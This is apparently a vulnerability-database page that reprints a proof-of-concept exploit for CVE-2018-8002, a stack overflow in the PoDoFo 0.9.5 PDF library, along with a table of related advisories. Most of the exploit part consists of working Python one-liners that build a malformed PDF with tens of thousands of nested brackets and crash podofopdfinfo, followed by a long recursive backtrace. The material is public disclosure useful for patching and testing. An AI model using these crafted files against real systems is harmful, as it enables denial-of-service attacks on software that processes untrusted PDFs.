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PoDoFo 0.9.5 - Buffer Overflow Vulnerability
| Reporter | Title | Published | Views | Family All 39 |
|---|---|---|---|---|
 | CVE-2018-8002 | 9 Mar 201819:00 | – | alpinelinux |
 | Astra Linux – Vulnerability in libpodofo | 19 Jun 202611:10 | – | astralinux |
 | The vulnerability of the PdfParserObject::ParseFileComplete() function in the PdfParserObject.cpp component of the PDF processing software library allows a malicious individual to gain unauthorized access to protected information and cause service failures. | 18 Dec 202500:00 | – | bdu_fstec |
 | PoDoFo 'PdfParserObject::ParseFileComplete()' function infinite loop vulnerability | 14 Mar 201800:00 | – | cnvd |
 | CVE-2018-8002 | 9 Mar 201819:00 | – | cve |
 | CVE-2018-8002 | 9 Mar 201819:00 | – | cvelist |
 | CVE-2018-8002 | 9 Mar 201819:00 | – | debiancve |
 | PoDoFo 0.9.5 - Buffer Overflow (PoC) | 26 Jun 201800:00 | – | exploitdb |
 | EUVD-2018-19714 | 7 Oct 202500:30 | – | euvd |
 | PoDoFo 0.9.5 - Buffer Overflow (PoC) | 26 Jun 201800:00 | – | exploitpack |
10
# Exploit Title: PoDoFo 0.9.5 - Stack-Based Buffer Overflow (PoC)
# Software Link: https://sourceforge.net/projects/podofo/
# Vuln Version: 0.9.5
# CVE: cve-2018-8002
# Vulnerability Details: https://bugzilla.redhat.com/show_bug.cgi?id=1548930
# Exploit Author: r4xis
https://github.com/r4xis
exploit
-------------
podofo 0.9.3 (tested on ubuntu 16.04 32 bit)
$ python -c 'print "%PDF- 1 0 obj<<" + "["*50000' > poc.pdf;podofopdfinfo poc.pdf
podofo 0.9.4 (tested on debian 9.4 64 bit)
$ python -c 'print "%PDF- 1 0 obj" + "["*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf
podofo 0.9.5 (tested on ubuntu 18.04 64 bit)
$ python -c 'print "%PDF- 1 0 obj" + "["*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf
Note: Also you can use "<<" characters;
$ python -c 'print "%PDF- 1 0 obj" + "<<"*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf
reason
-----------
Recursive functions call to each others, until the stack overflow.
backtrace
-----------
for "[" chars;
...
#28 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#29 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#30 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#31 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#32 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#33 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#34 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#35 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#36 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#37 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#38 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#39 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#40 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#41 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#42 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#43 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#44 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#45 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#46 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#47 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#48 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#49 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
...
# 0day.today [2018-06-26] #Data
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26 Jun 2018 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.08458